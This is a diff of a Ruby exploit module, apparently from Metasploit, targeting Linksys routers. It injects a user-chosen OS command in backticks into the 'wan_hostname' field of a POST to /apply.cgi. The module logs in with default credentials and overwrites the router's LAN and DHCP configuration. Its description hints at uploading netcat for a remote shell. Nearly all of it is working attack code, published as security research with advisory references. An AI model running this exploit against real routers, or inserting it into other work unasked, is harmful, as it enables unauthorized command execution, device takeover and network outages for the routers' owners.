@@ -17,14 +17,14 @@ def initialize(info = {})
17
17
'Description' => %q{
18
18
Some Linksys Routers are vulnerable to OS Command injection.
19
19
You will need credentials to the web interface to access the vulnerable part
20
- of the application.
21
- Default credentials are always a good starting point. admin/admin or admin
20
+ of the application.
21
+ Default credentials are always a good starting point. admin/admin or admin
22
22
and blank password could be a first try.
23
- Note: This is a blind os command injection vulnerability. This means that
24
- you will not see any output of your command. Try a ping command to your
23
+ Note: This is a blind os command injection vulnerability. This means that
24
+ you will not see any output of your command. Try a ping command to your
25
25
local system for a first test.
26
-
27
- Hint: To get a remote shell you could upload a netcat binary and exec it.
26
+
27
+ Hint: To get a remote shell you could upload a netcat binary and exec it.
28
28
WARNING: Backup your network and dhcp configuration. We will overwrite it!
29
29
Have phun
30
30
} ,
@@ -37,7 +37,7 @@ def initialize(info = {})
37
37
[ 'URL' , 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ] ,
38
38
[ 'EDB' , '24202' ] ,
39
39
[ 'BID' , '57459' ] ,
40
- [ 'OSVDB' , '89421' ] ,
40
+ [ 'OSVDB' , '89421' ]
41
41
] ,
42
42
'DefaultTarget' => 0 ,
43
43
'DisclosureDate' => 'Jan 18 2013' ) )
@@ -47,13 +47,13 @@ def initialize(info = {})
47
47
Opt ::RPORT ( 80 ) ,
48
48
OptString . new ( 'TARGETURI' , [ true , 'PATH to OS Command Injection' , '/apply.cgi' ] ) ,
49
49
OptString . new ( 'USERNAME' , [ true , 'User to login with' , 'admin' ] ) ,
50
- OptString . new ( 'PASSWORD' , [ true , 'Password to login with' , 'password' ] ) ,
50
+ OptString . new ( 'PASSWORD' , [ false , 'Password to login with' , 'password' ] ) ,
51
51
OptString . new ( 'CMD' , [ true , 'The command to execute' , 'ping 127.0.0.1' ] ) ,
52
52
OptString . new ( 'NETMASK' , [ false , 'LAN Netmask of the router' , '255.255.255.0' ] ) ,
53
53
OptAddress . new ( 'LANIP' , [ false , 'LAN IP address of the router - CHANGE THIS' , '1.1.1.1' ] ) ,
54
54
OptString . new ( 'ROUTER_NAME' , [ false , 'Name of the router' , 'cisco' ] ) ,
55
55
OptString . new ( 'WAN_DOMAIN' , [ false , 'WAN Domain Name' , 'test' ] ) ,
56
- OptString . new ( 'WAN_MTU' , [ false , 'WAN MTU' , '1500' ] ) ,
56
+ OptString . new ( 'WAN_MTU' , [ false , 'WAN MTU' , '1500' ] )
57
57
] , self . class )
58
58
end
59
59
@@ -66,126 +66,137 @@ def run
66
66
routername = datastore [ 'ROUTER_NAME' ]
67
67
wandomain = datastore [ 'WAN_DOMAIN' ]
68
68
wanmtu = datastore [ 'WAN_MTU' ]
69
-
69
+
70
70
if datastore [ 'LANIP' ] !~ /1.1.1.1/
71
71
#there is a configuration from the user so we use LANIP for the router configuration
72
72
ip = datastore [ 'LANIP' ] . split ( '.' )
73
73
else
74
74
#no configuration from user so we use RHOST for the router configuration
75
75
ip = rhost . split ( '.' )
76
76
end
77
-
78
- # not sure if this is a good way for blank passwords:
79
- if datastore [ 'PASSWORD' ] == "<BLANK>"
77
+
78
+ if datastore [ 'PASSWORD' ] . nil?
80
79
pass = ""
81
80
else
82
81
pass = datastore [ 'PASSWORD' ]
83
82
end
84
83
85
84
print_status ( "Trying to login with #{ user } / #{ pass } " )
86
85
87
- begin
88
- res = send_request_cgi ( {
89
- 'uri' => uri ,
90
- 'method' => 'GET' ,
91
- 'basic_auth' => "#{ user } :#{ pass } "
92
- } )
93
-
94
- unless ( res . kind_of? Rex ::Proto ::Http ::Response )
95
- vprint_error ( "#{ rhost } not responding" )
96
- end
97
-
98
- return :abort if ( res . code == 404 )
99
-
100
- if [ 200 , 301 , 302 ] . include? ( res . code )
101
- print_good ( "SUCCESSFUL LOGIN. '#{ user } ' : '#{ pass } '" )
102
- else
103
- print_error ( "NO SUCCESSFUL LOGIN POSSIBLE. '#{ user } ' : '#{ pass } '" )
104
- return :abort
105
- end
106
-
107
- rescue ::Rex ::ConnectionError
108
- vprint_error ( "#{ rhost } - Failed to connect to the web server" )
109
- return :abort
110
- end
111
-
112
- print_status ( "Sending remote command: " + datastore [ 'CMD' ] )
86
+ begin
87
+ res = send_request_cgi ( {
88
+ 'uri' => uri ,
89
+ 'method' => 'GET' ,
90
+ 'basic_auth' => "#{ user } :#{ pass } "
91
+ } )
92
+
93
+ unless ( res . kind_of? Rex ::Proto ::Http ::Response )
94
+ vprint_error ( "#{ rhost } not responding" )
95
+ return :abort
96
+ end
97
+
98
+ if ( res . code == 404 )
99
+ print_error ( "Not Found page returned" )
100
+ return :abort
101
+ end
102
+
103
+ if [ 200 , 301 , 302 ] . include? ( res . code )
104
+ print_good ( "SUCCESSFUL LOGIN. '#{ user } ' : '#{ pass } '" )
105
+ else
106
+ print_error ( "NO SUCCESSFUL LOGIN POSSIBLE. '#{ user } ' : '#{ pass } '" )
107
+ return :abort
108
+ end
109
+
110
+ rescue ::Rex ::ConnectionError
111
+ vprint_error ( "#{ rhost } - Failed to connect to the web server" )
112
+ return :abort
113
+ end
113
114
114
- # cmd = Rex::Text.uri_encode(datastore['CMD'])
115
115
cmd = datastore [ 'CMD' ]
116
116
117
+ print_status ( "Sending remote command: " + cmd )
118
+
119
+ #cmd = Rex::Text.uri_encode(datastore['CMD'])
117
120
#original Post Request:
118
- # data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
121
+ #data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&"
122
+ #data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&"
123
+ #data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&"
124
+ #data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&"
125
+ #data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&"
126
+ #data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&"
127
+ #data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&"
128
+ #data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1"
119
129
120
- if datastore [ 'VERBOSE' ] == true
121
- print_line ( "using the following target URL: \n #{ uri } " )
122
- end
130
+ vprint_status ( "using the following target URL: #{ uri } " )
123
131
124
132
begin
125
- res = send_request_cgi (
126
- {
127
- 'uri' => uri ,
128
- 'method' => 'POST' ,
129
- 'basic_auth' => "#{ pass } :#{ pass } " ,
130
- #'data' => data_cmd,
131
-
132
- 'vars_post' =>
133
- {
134
- 'submit_button' => "index" ,
135
- 'change_action' => "1" ,
136
- 'submit_type' => "1" ,
137
- 'action' => "Apply" ,
138
- 'now_proto' => "dhcp" ,
139
- 'daylight_time' => "1" ,
140
- 'lan_ipaddr' => "4" ,
141
- 'wait_time' => "0" ,
142
- 'need_reboot' => "0" ,
143
- 'ui_language' => "de" ,
144
- 'wan_proto' => "dhcp" ,
145
- 'router_name' => "#{ routername } " ,
146
- 'wan_hostname' => "`#{ cmd } `" ,
147
- 'wan_domain' => "#{ wandomain } " ,
148
- 'mtu_enable' => "1" ,
149
- 'wan_mtu' => "#{ wanmtu } " ,
150
- 'lan_ipaddr_0' => "#{ ip [ 0 ] } " ,
151
- 'lan_ipaddr_1' => "#{ ip [ 1 ] } " ,
152
- 'lan_ipaddr_2' => "#{ ip [ 2 ] } " ,
153
- 'lan_ipaddr_3' => "#{ ip [ 3 ] } " ,
154
- 'lan_netmask' => "#{ netmask } " ,
155
- 'lan_proto' => "dhcp" ,
156
- 'dhcp_check' => "1" ,
157
- 'dhcp_start' => "100" ,
158
- 'dhcp_num' => "50" ,
159
- 'dhcp_lease' => "0" ,
160
- 'wan_dns' => "4" ,
161
- 'wan_dns0_0' => "0" ,
162
- 'wan_dns0_1' => "0" ,
163
- 'wan_dns0_2' => "0" ,
164
- 'wan_dns0_3' => "0" ,
165
- 'wan_dns1_0' => "0" ,
166
- 'wan_dns1_1' => "0" ,
167
- 'wan_dns1_2' => "0" ,
168
- 'wan_dns1_3' => "0" ,
169
- 'wan_dns2_0' => "0" ,
170
- 'wan_dns2_1' => "0" ,
171
- 'wan_dns2_2' => "0" ,
172
- 'wan_dns2_3' => "0" ,
173
- 'wan_wins' => "4" ,
174
- 'wan_wins_0' => "0" ,
175
- 'wan_wins_1' => "0" ,
176
- 'wan_wins_2' => "0" ,
177
- 'wan_wins_3' => "0" ,
178
- 'time_zone' => "-08+1+1" ,
179
- '_daylight_time' => '1'
180
- } ,
181
- } )
182
- rescue ::Rex ::ConnectionError
183
- vprint_error ( "#{ rhost } - Failed to connect to the web server" )
184
- return :abort
185
- end
186
- print_line ( "" )
133
+ res = send_request_cgi ( {
134
+ 'uri' => uri ,
135
+ 'method' => 'POST' ,
136
+ 'basic_auth' => "#{ pass } :#{ pass } " ,
137
+ #'data' => data_cmd,
138
+
139
+ 'vars_post' => {
140
+ 'submit_button' => "index" ,
141
+ 'change_action' => "1" ,
142
+ 'submit_type' => "1" ,
143
+ 'action' => "Apply" ,
144
+ 'now_proto' => "dhcp" ,
145
+ 'daylight_time' => "1" ,
146
+ 'lan_ipaddr' => "4" ,
147
+ 'wait_time' => "0" ,
148
+ 'need_reboot' => "0" ,
149
+ 'ui_language' => "de" ,
150
+ 'wan_proto' => "dhcp" ,
151
+ 'router_name' => "#{ routername } " ,
152
+ 'wan_hostname' => "`#{ cmd } `" ,
153
+ 'wan_domain' => "#{ wandomain } " ,
154
+ 'mtu_enable' => "1" ,
155
+ 'wan_mtu' => "#{ wanmtu } " ,
156
+ 'lan_ipaddr_0' => "#{ ip [ 0 ] } " ,
157
+ 'lan_ipaddr_1' => "#{ ip [ 1 ] } " ,
158
+ 'lan_ipaddr_2' => "#{ ip [ 2 ] } " ,
159
+ 'lan_ipaddr_3' => "#{ ip [ 3 ] } " ,
160
+ 'lan_netmask' => "#{ netmask } " ,
161
+ 'lan_proto' => "dhcp" ,
162
+ 'dhcp_check' => "1" ,
163
+ 'dhcp_start' => "100" ,
164
+ 'dhcp_num' => "50" ,
165
+ 'dhcp_lease' => "0" ,
166
+ 'wan_dns' => "4" ,
167
+ 'wan_dns0_0' => "0" ,
168
+ 'wan_dns0_1' => "0" ,
169
+ 'wan_dns0_2' => "0" ,
170
+ 'wan_dns0_3' => "0" ,
171
+ 'wan_dns1_0' => "0" ,
172
+ 'wan_dns1_1' => "0" ,
173
+ 'wan_dns1_2' => "0" ,
174
+ 'wan_dns1_3' => "0" ,
175
+ 'wan_dns2_0' => "0" ,
176
+ 'wan_dns2_1' => "0" ,
177
+ 'wan_dns2_2' => "0" ,
178
+ 'wan_dns2_3' => "0" ,
179
+ 'wan_wins' => "4" ,
180
+ 'wan_wins_0' => "0" ,
181
+ 'wan_wins_1' => "0" ,
182
+ 'wan_wins_2' => "0" ,
183
+ 'wan_wins_3' => "0" ,
184
+ 'time_zone' => "-08+1+1" ,
185
+ '_daylight_time' => '1'
186
+ }
187
+ } )
188
+ rescue ::Rex ::ConnectionError
189
+ vprint_error ( "#{ rhost } - Failed to connect to the web server" )
190
+ return :abort
191
+ end
192
+
193
+ if res and res . code == 200
194
+ print_status ( "Blind Exploitation - Response expected" )
195
+ else
196
+ print_error ( "Blind Exploitation - Response don't expected" )
197
+ end
187
198
print_status ( "Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed" )
188
- print_status ( "Blind Exploitation - unknown Exploitation state\n " )
199
+ print_status ( "Blind Exploitation - unknown Exploitation state" )
189
200
end
190
201
end
191
202
0 commit comments